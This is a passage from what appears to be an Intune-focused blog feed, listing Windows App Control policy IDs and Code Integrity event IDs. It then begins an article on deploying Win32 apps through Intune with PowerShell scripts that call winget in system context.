<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-CIPolicyIdInfo</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePath </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">env:</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ProgramData</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\Microsoft\IntuneManagementExtension\Logs\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">env:</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">computername</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">_policy.xml"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">SupplementsBasePolicyID </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{2DA0F72D-1688-4097-847D-C42C39E631BC}"</span></span></code></pre>
</div><div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Here are the IDs for the default Microsoft base policies.<br>
You can activate these using Intune or group policy.</p>
<table>
<thead>
<tr>
<th style="text-align:center">Base policy ID</th>
<th style="text-align:left">Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center"><span>{A8012CFC-D8AE-493C-B2EA-510F035F1250}</span></td>
<td style="text-align:left">Enable app control policy to trust Windows components and Store apps.</td>
</tr>
<tr>
<td style="text-align:center"><span>{D6D6C2D6-E8B6-4D8F-8223-14BE1DE562FF}</span></td>
<td style="text-align:left">Enable app control policy to trust Windows components and Store apps and Trust apps with good reputation.</td>
</tr>
<tr>
<td style="text-align:center"><span>{63D1178A-816A-4AB6-8ECD-127F2DF0CE47}</span></td>
<td style="text-align:left">Enable app control policy to trust Windows components and Store apps and Trust apps from managed installers.</td>
</tr>
<tr>
<td style="text-align:center"><span>{2DA0F72D-1688-4097-847D-C42C39E631BC}</span></td>
<td style="text-align:left">Enable app control policy to trust Windows components and Store apps and Trust apps with good reputation<br> and Trust apps from managed installers.</td>
</tr>
</tbody>
</table>
</div>
<ol start="2">
<li>Go to your key users' devices in Intune and click <span style="color:crimson">Collect diagnostics</span>.</li>
</ol>
<img src="\intune_monitor_appcontrol\diagnostics.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>This will let you download a zip file from Intune containing the Intune Management Extension log folder (<code>(67) FoldersFiles ProgramData_Microsoft_IntuneManagementExtension_Logs</code>) along with the created policies.</p>
<img src="\intune_monitor_appcontrol\download_diagnostics.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<p>If you're interested in learning more on how to manage multiple App Control policies, check out the following resources:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/deploy-multiple-appcontrol-policies" target="_blank" rel="noreferrer">Use multiple App Control for Business Policies | Microsoft Learn</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/deployment/merge-appcontrol-policies" target="_blank" rel="noreferrer">Merge App Control for Business policies | Microsoft Learn</a></li>
</ul>
<h2 id="app-control-for-business-event-ids" tabindex="-1">🔢 App Control for Business Event IDs <a class="header-anchor" href="#app-control-for-business-event-ids" aria-label="Permalink to &quot;:1234: App Control for Business Event IDs&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="applocker-msi-and-script-event-ids" tabindex="-1"><span style="color:crimson">AppLocker - MSI and Script</span> Event IDs <a class="header-anchor" href="#applocker-msi-and-script-event-ids" aria-label="Permalink to &quot;&lt;span style=&quot;color:crimson&quot;&gt;AppLocker - MSI and Script&lt;/span&gt; Event IDs&quot;">&ZeroWidthSpace;</a></h3>
<p>App Control block events for packaged apps, MSI installers, scripts, and COM objects</p>
<table>
<thead>
<tr>
<th style="text-align:center">Event ID</th>
<th style="text-align:left">Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">8028</td>
<td style="text-align:left">Script host queried App Control about a file. The file ran in audit mode but would fail in enforced mode.</td>
</tr>
<tr>
<td style="text-align:center">8029</td>
<td style="text-align:left">Enforcement mode equivalent of 8028. Script may run with restrictions instead of being blocked.</td>
</tr>
<tr>
<td style="text-align:center">8036</td>
<td style="text-align:left">COM object was blocked. See <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/allow-com-object-registration-in-appcontrol-policy" target="_blank" rel="noreferrer">Allow COM object registration</a>.</td>
</tr>
<tr>
<td style="text-align:center">8037</td>
<td style="text-align:left">Script host allowed a script to run as it passed the App Control policy.</td>
</tr>
<tr>
<td style="text-align:center">8038</td>
<td style="text-align:left">Signing info for scripts, correlated with 8028/8029. Unsigned scripts generate TotalSignatureCount 0.</td>
</tr>
<tr>
<td style="text-align:center">8039</td>
<td style="text-align:left">Packaged app allowed to run in audit mode but would be blocked in enforced mode.</td>
</tr>
<tr>
<td style="text-align:center">8040</td>
<td style="text-align:left">Packaged app was blocked due to App Control policy.</td>
</tr>
</tbody>
</table>
<h3 id="codeintegrity-operational-event-ids" tabindex="-1"><span style="color:crimson">CodeIntegrity - Operational</span> Event IDs <a class="header-anchor" href="#codeintegrity-operational-event-ids" aria-label="Permalink to &quot;&lt;span style=&quot;color:crimson&quot;&gt;CodeIntegrity - Operational&lt;/span&gt; Event IDs&quot;">&ZeroWidthSpace;</a></h3>
<p>App Control block events for executables, dlls, and drivers</p>
<table>
<thead>
<tr>
<th style="text-align:center">Event ID</th>
<th style="text-align:left">Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">3004</td>
<td style="text-align:left">Kernel driver with invalid signature tried to load.</td>
</tr>
<tr>
<td style="text-align:center">3033</td>
<td style="text-align:left">File's signature is revoked or expired. Occurs with 3077.</td>
</tr>
<tr>
<td style="text-align:center">3034</td>
<td style="text-align:left">Audit mode equivalent of 3033.</td>
</tr>
<tr>
<td style="text-align:center">3076</td>
<td style="text-align:left">File would have been blocked in enforced mode.</td>
</tr>
<tr>
<td style="text-align:center">3077</td>
<td style="text-align:left">File was blocked as it didn't pass the policy.</td>
</tr>
<tr>
<td style="text-align:center">3089</td>
<td style="text-align:left">Signature info for files that were audit blocked.</td>
</tr>
</tbody>
</table>
<h3 id="app-control-policy-activation-events" tabindex="-1">App Control policy activation events <a class="header-anchor" href="#app-control-policy-activation-events" aria-label="Permalink to &quot;App Control policy activation events&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:center">Event ID</th>
<th style="text-align:left">Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">3095</td>
<td style="text-align:left">Policy can't refresh; reboot required.</td>
</tr>
<tr>
<td style="text-align:center">3096</td>
<td style="text-align:left">Policy is up-to-date; no refresh needed.</td>
</tr>
<tr>
<td style="text-align:center">3097</td>
<td style="text-align:left">Policy refresh failed.</td>
</tr>
<tr>
<td style="text-align:center">3099</td>
<td style="text-align:left">Policy loaded successfully.</td>
</tr>
<tr>
<td style="text-align:center">3100</td>
<td style="text-align:left">Policy refresh failed; retry required.</td>
</tr>
<tr>
<td style="text-align:center">3101</td>
<td style="text-align:left">Policy refresh started.</td>
</tr>
<tr>
<td style="text-align:center">3102</td>
<td style="text-align:left">Policy refresh completed.</td>
</tr>
<tr>
<td style="text-align:center">3103</td>
<td style="text-align:left">Policy refresh ignored.</td>
</tr>
<tr>
<td style="text-align:center">3105</td>
<td style="text-align:left">System attempting to refresh the policy.</td>
</tr>
</tbody>
</table>
<h3 id="diagnostic-events-for-intelligent-security-graph-isg-and-managed-installer-mi" tabindex="-1">Diagnostic events for Intelligent Security Graph (ISG) and Managed Installer (MI) <a class="header-anchor" href="#diagnostic-events-for-intelligent-security-graph-isg-and-managed-installer-mi" aria-label="Permalink to &quot;Diagnostic events for Intelligent Security Graph (ISG) and Managed Installer (MI)&quot;">&ZeroWidthSpace;</a></h3>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>When Managed Installer is enabled, customers using Log Analytics should note that it may generate a significant number of 3091 events.
To manage Log Analytics costs effectively, consider filtering out these events.</p>
</div>
<p>The following events are super helpful for troubleshooting when your App Control policy uses Intelligent Security Graph (ISG) or Managed Installer (MI).
They give you insights into why a file was allowed or blocked based on ISG or MI.
Events 3090, 3091, and 3092 aren’t necessarily red flags but should be looked at alongside other events like 3076 or 3077 to get the full picture.</p>
<p>Depending on your Windows version, you’ll find these events in the <strong>CodeIntegrity - Operational</strong> or <strong>CodeIntegrity - Verbose</strong> event logs.</p>
<table>
<thead>
<tr>
<th style="text-align:center">Event ID</th>
<th style="text-align:left">Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">3090</td>
<td style="text-align:left">Optional This event indicates that a file was allowed to run based purely on ISG or managed installer</td>
</tr>
<tr>
<td style="text-align:center">3091</td>
<td style="text-align:left">This event indicates that a file didn't have ISG or managed installer authorization and the App Control policy is in audit mode</td>
</tr>
<tr>
<td style="text-align:center">3092</td>
<td style="text-align:left">This event is the enforcement mode equivalent of 3091</td>
</tr>
<tr>
<td style="text-align:center">8002</td>
<td style="text-align:left">This event is found in the AppLocker - EXE and DLL event log. When a process launches that matches a managed installer rule, this event is raised with PolicyName = MANAGEDINSTALLER found in the event Details. Events with PolicyName = EXE or DLL aren't related to App Control</td>
</tr>
</tbody>
</table>
<p>Events 3090, 3091, and 3092 are reported per active policy on the system, so you may see multiple events for the same file.</p>
<h4 id="isg-and-mi-diagnostic-event-details" tabindex="-1">ISG and MI diagnostic event details <a class="header-anchor" href="#isg-and-mi-diagnostic-event-details" aria-label="Permalink to &quot;ISG and MI diagnostic event details&quot;">&ZeroWidthSpace;</a></h4>
<p>The following information is found in the details for 3090, 3091, and 3092 events.</p>
<table>
<thead>
<tr>
<th style="text-align:left">Name</th>
<th style="text-align:left">Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">ManagedInstallerEnabled</td>
<td style="text-align:left">Indicates whether the specified policy enables managed installer trust</td>
</tr>
<tr>
<td style="text-align:left">PassesManagedInstaller</td>
<td style="text-align:left">Indicates whether the file originated from a MI</td>
</tr>
<tr>
<td style="text-align:left">SmartlockerEnabled</td>
<td style="text-align:left">Indicates whether the specified policy enables ISG trust</td>
</tr>
<tr>
<td style="text-align:left">PassesSmartlocker</td>
<td style="text-align:left">Indicates whether the file had positive reputation according to the ISG</td>
</tr>
<tr>
<td style="text-align:left">AuditEnabled</td>
<td style="text-align:left">True if the App Control policy is in audit mode, otherwise it is in enforce mode</td>
</tr>
<tr>
<td style="text-align:left">PolicyName</td>
<td style="text-align:left">The name of the App Control policy to which the event applies</td>
</tr>
</tbody>
</table>
<h4 id="enabling-isg-and-mi-diagnostic-events" tabindex="-1">Enabling ISG and MI diagnostic events <a class="header-anchor" href="#enabling-isg-and-mi-diagnostic-events" aria-label="Permalink to &quot;Enabling ISG and MI diagnostic events&quot;">&ZeroWidthSpace;</a></h4>
<p>To turn on 3090 allow events, just create a TestFlags registry key with a value of <code>0x300</code> using the PowerShell command below. After that, restart your computer to apply the changes.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">reg add hklm\system\currentcontrolset\control\ci </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">v TestFlags </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">t REG_DWORD </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">d </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x300</span></span></code></pre>
</div><p>Events 3091 and 3092 are inactive on some versions of Windows and are turned on by the preceding command.</p>
<h3 id="other-event-ids" tabindex="-1">Other Event IDs <a class="header-anchor" href="#other-event-ids" aria-label="Permalink to &quot;Other Event IDs&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:center">Event ID</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">3001</td>
<td style="text-align:left">An unsigned driver was attempted to load on the system</td>
</tr>
<tr>
<td style="text-align:center">3002</td>
<td style="text-align:left">Code Integrity couldn't verify the boot image as the page hash couldn't be found</td>
</tr>
<tr>
<td style="text-align:center">3004</td>
<td style="text-align:left">Code Integrity couldn't verify the file as the page hash couldn't be found</td>
</tr>
<tr>
<td style="text-align:center">3010</td>
<td style="text-align:left">The catalog containing the signature for the file under validation is invalid</td>
</tr>
<tr>
<td style="text-align:center">3011</td>
<td style="text-align:left">Code Integrity finished loading the signature catalog</td>
</tr>
<tr>
<td style="text-align:center">3012</td>
<td style="text-align:left">Code Integrity started loading the signature catalog</td>
</tr>
<tr>
<td style="text-align:center">3023</td>
<td style="text-align:left">The driver file under validation didn't meet the requirements to pass the App Control policy</td>
</tr>
<tr>
<td style="text-align:center">3024</td>
<td style="text-align:left">Windows App Control was unable to refresh the boot catalog file</td>
</tr>
<tr>
<td style="text-align:center">3026</td>
<td style="text-align:left">Microsoft or the certificate issuing authority revoked the certificate that signed the catalog</td>
</tr>
<tr>
<td style="text-align:center">3032</td>
<td style="text-align:left">The file under validation is revoked or the file has a signature that is revoked</td>
</tr>
<tr>
<td style="text-align:center">3033</td>
<td style="text-align:left">The file under validation didn't meet the requirements to pass the App Control policy</td>
</tr>
<tr>
<td style="text-align:center">3034</td>
<td style="text-align:left">The file under validation wouldn't meet the requirements to pass the App Control policy if it was enforced</td>
</tr>
<tr>
<td style="text-align:center">3036</td>
<td style="text-align:left">Microsoft or the certificate issuing authority revoked the certificate that signed the file being validated</td>
</tr>
<tr>
<td style="text-align:center">3064</td>
<td style="text-align:left">If the App Control policy was enforced, a user mode DLL under validation wouldn't meet the requirements to pass the App Control policy. The DLL was allowed since the policy is in audit mode</td>
</tr>
<tr>
<td style="text-align:center">3065</td>
<td style="text-align:left">If the App Control policy was enforced, a user mode DLL under validation wouldn't meet the requirements to pass the App Control policy</td>
</tr>
<tr>
<td style="text-align:center">3074</td>
<td style="text-align:left">Page hash failure while hypervisor-protected code integrity was enabled</td>
</tr>
<tr>
<td style="text-align:center">3075</td>
<td style="text-align:left">This event measures the performance of the App Control policy check during file validation</td>
</tr>
<tr>
<td style="text-align:center">3076</td>
<td style="text-align:left">This event is the main App Control block event for audit mode policies. It indicates that the file would have been blocked if the policy was enforced</td>
</tr>
<tr>
<td style="text-align:center">3077</td>
<td style="text-align:left">This event is the main App Control block event for enforced policies. It indicates that the file didn't pass your policy and was blocked</td>
</tr>
<tr>
<td style="text-align:center">3079</td>
<td style="text-align:left">The file under validation didn't meet the requirements to pass the App Control policy</td>
</tr>
<tr>
<td style="text-align:center">3080</td>
<td style="text-align:left">If the App Control policy was enforced, the file under validation wouldn't have met the requirements to pass the App Control policy</td>
</tr>
<tr>
<td style="text-align:center">3081</td>
<td style="text-align:left">The file under validation didn't meet the requirements to pass the App Control policy</td>
</tr>
<tr>
<td style="text-align:center">3082</td>
<td style="text-align:left">If the App Control policy was enforced, the policy would have blocked this non-WHQL driver</td>
</tr>
<tr>
<td style="text-align:center">3084</td>
<td style="text-align:left">Code Integrity is enforcing WHQL driver signing requirements on this boot session</td>
</tr>
<tr>
<td style="text-align:center">3085</td>
<td style="text-align:left">Code Integrity isn't enforcing WHQL driver signing requirements on this boot session</td>
</tr>
<tr>
<td style="text-align:center">3086</td>
<td style="text-align:left">The file under validation doesn't meet the signing requirements for an isolated user mode (IUM) process</td>
</tr>
<tr>
<td style="text-align:center">3089</td>
<td style="text-align:left">This event contains signature information for files that were blocked or audit blocked by App Control. One 3089 event is created for each signature of a file</td>
</tr>
<tr>
<td style="text-align:center">3090</td>
<td style="text-align:left">Optional This event indicates that a file was allowed to run based purely on ISG or managed installer</td>
</tr>
<tr>
<td style="text-align:center">3091</td>
<td style="text-align:left">This event indicates that a file didn't have ISG or managed installer authorization and the App Control policy is in audit mode</td>
</tr>
<tr>
<td style="text-align:center">3092</td>
<td style="text-align:left">This event is the enforcement mode equivalent of 3091</td>
</tr>
<tr>
<td style="text-align:center">3095</td>
<td style="text-align:left">The App Control policy can't be refreshed and must be rebooted instead</td>
</tr>
<tr>
<td style="text-align:center">3096</td>
<td style="text-align:left">The App Control policy wasn't refreshed since it's already up-to-date</td>
</tr>
<tr>
<td style="text-align:center">3097</td>
<td style="text-align:left">The App Control policy can't be refreshed</td>
</tr>
<tr>
<td style="text-align:center">3099</td>
<td style="text-align:left">Indicates that a policy has been loaded. This event also includes information about the options set by the App Control policy</td>
</tr>
<tr>
<td style="text-align:center">3100</td>
<td style="text-align:left">The App Control policy was refreshed but was unsuccessfully activated. Retry</td>
</tr>
<tr>
<td style="text-align:center">3101</td>
<td style="text-align:left">The system started refreshing the App Control policy</td>
</tr>
<tr>
<td style="text-align:center">3102</td>
<td style="text-align:left">The system finished refreshing the App Control policy</td>
</tr>
<tr>
<td style="text-align:center">3103</td>
<td style="text-align:left">The system is ignoring the App Control policy refresh</td>
</tr>
<tr>
<td style="text-align:center">3104</td>
<td style="text-align:left">The file under validation doesn't meet the signing requirements for a PPL (protected process light) process</td>
</tr>
<tr>
<td style="text-align:center">3105</td>
<td style="text-align:left">The system is attempting to refresh the App Control policy</td>
</tr>
<tr>
<td style="text-align:center">3108</td>
<td style="text-align:left">Windows mode change event was successful</td>
</tr>
<tr>
<td style="text-align:center">3110</td>
<td style="text-align:left">Windows mode change event was unsuccessful</td>
</tr>
<tr>
<td style="text-align:center">3111</td>
<td style="text-align:left">The file under validation didn't meet the hypervisor-protected code integrity (HVCI) policy</td>
</tr>
<tr>
<td style="text-align:center">3112</td>
<td style="text-align:left">Windows has revoked the certificate that signed the file being validated</td>
</tr>
<tr>
<td style="text-align:center">3114</td>
<td style="text-align:left">Dynamic Code Security opted the .NET app or DLL into App Control policy validation. The file under validation didn't pass your policy and was blocked</td>
</tr>
</tbody>
</table>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Create a Win32 Universal app with Winget | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/install_winget_apps.html</link>
            <guid>https://michaelsendpoint.com/intune/install_winget_apps.html</guid>
            <pubDate>Thu, 22 May 2025 21:04:04 GMT</pubDate>
            <description><![CDATA[Learn how to deploy Win32 applications using Winget and Intune without traditional packaging for flexible, efficient app management.]]></description>
            <content:encoded><![CDATA[<h1 id="install-win32-apps-with-wingetno-more-packaging-required" tabindex="-1">Install Win32 Apps with Winget<br>No more packaging required <a class="header-anchor" href="#install-win32-apps-with-wingetno-more-packaging-required" aria-label="Permalink to &quot;Install Win32 Apps with Winget&lt;br&gt;No more packaging required&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Using Intune to install apps on Windows devices is really useful, but anyone who has set up lots of these knows how tricky it can be: getting the right version of the installer, changing it when new versions of apps are released, and keeping everything up to date. The idea of a &quot;universal app&quot; installer is really interesting. This is an app that can install any application, and it doesn't need the usual packaging.</p>
<p>But this approach isn't simple. Intune installs software in the system context, which is necessary for elevated permissions and seamless deployments, but it also introduces unique challenges. Winget, for example, is installed for each user via the Microsoft Store, and its different parts are not always easy to find in the system. This means that simply using Winget from a script won't work straight away when you use Intune to deploy it.</p>
<p>Even though there are some problems, if you set everything up right and add a few scripts, you can use Winget to create a process for deploying apps that is flexible, easy to maintain, and efficient. In this article, I will explain how to make this strategy work, talk about the technical things you need to think about, and give you some useful tips to help you manage your Intune applications more easily.</p>
<h2 id="how-are-we-going-to-do-this" tabindex="-1">🤷 How are we going to do this? <a class="header-anchor" href="#how-are-we-going-to-do-this" aria-label="Permalink to &quot;:shrug: How are we going to do this?&quot;">&ZeroWidthSpace;</a></h2>
<p>To accomplish this kind of <span style="color:crimson"><em><strong>'Universal App'</strong></em></span> which you can use to install any Winget application, we first need some kind of universal installation method deployed with Intune.
The same for the uninstall method and the detection method.</p>
<p><span style="color:crimson"><ins><strong>So How are we going to do this?</strong></ins></span></p>
<hr>
<p>1️⃣ First, we need a method to install an app without repackaging. We'll achieve this by passing the application as a <span style="color:crimson">parameter</span> to our installation script.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.\[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">ScriptName</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">].ps1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">app [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span></code></pre>
</div><hr>
<p>2️⃣ Next we need to create a script that accepts the application ID as a parameter, allowing us to install any app by simply parsing it the Winget package ID.</p>
<p>At the Start we need to declare the parameter that we want to pars to the script.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Param</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]$app</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span></code></pre>
</div><p>Now we need to find the proper Winget folder so we can use it in system context. With that we can use the winget version that comes preinstalled with Windows.
To locate the correct folder regardless of the installed version, we first need to resolve the path dynamically.</p>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p><code>winget</code>can not just be used as a command in system context (while permorming an installation through Intune), because winget gets installed trough the <strong>Windows Store</strong> as the <span style="color:crimson"><strong>App Installer</strong></span> and because of this important parts are not in place in sytem context.
<img src="\intune\install_winget_apps\app_installer.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/></p>
</div>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ResolveWingetPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Resolve-Path</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_*_x64__8wekyb3d8bbwe\winget.exe"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($ResolveWingetPath){</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">           $WingetPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $ResolveWingetPath[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">-1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">].Path</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Wingetpath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Split-Path</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $WingetPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Parent</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-Location</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $Wingetpath</span></span></code></pre>
</div><p>At last, we call <code>winget.exe</code> with the required parameters and the application ID we parsed earlier.<br>
This command will perform a silent, machine wide installation of the specified app in system context.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.\</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">winget.exe</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> install </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">exact </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">id $app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">silent </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">accept</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">package</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">agreements </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">accept</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">source</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">agreements </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">scope machine </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">disable-interactivity</span></span></code></pre>
</div><div class="danger custom-block"><p class="custom-block-title">WARNING</p>
<p>Calling the app installation with the <code>--exact</code> parameter enables us to install the specific App we want and not get a similar sounding app.
But be aware that the <span style="color:crimson"><strong>App ID</strong></span> is now <strong>case sensitive</strong> and will not work if you make a spelling error.</p>
</div>
<hr>
<p>3️⃣ Repeat the process for the uninstallation script, updating only the command and parameters to perform an uninstall.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.\</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">winget.exe</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> uninstall </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">exact </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">id $app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">silent </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">accept</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">source</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">agreements </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">scope machine </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">disable-interactivity</span></span></code></pre>
</div><hr>
<p>4️⃣ At the end we still need to create the detection, which can be a bit tricky because we can not simply use winget for that.
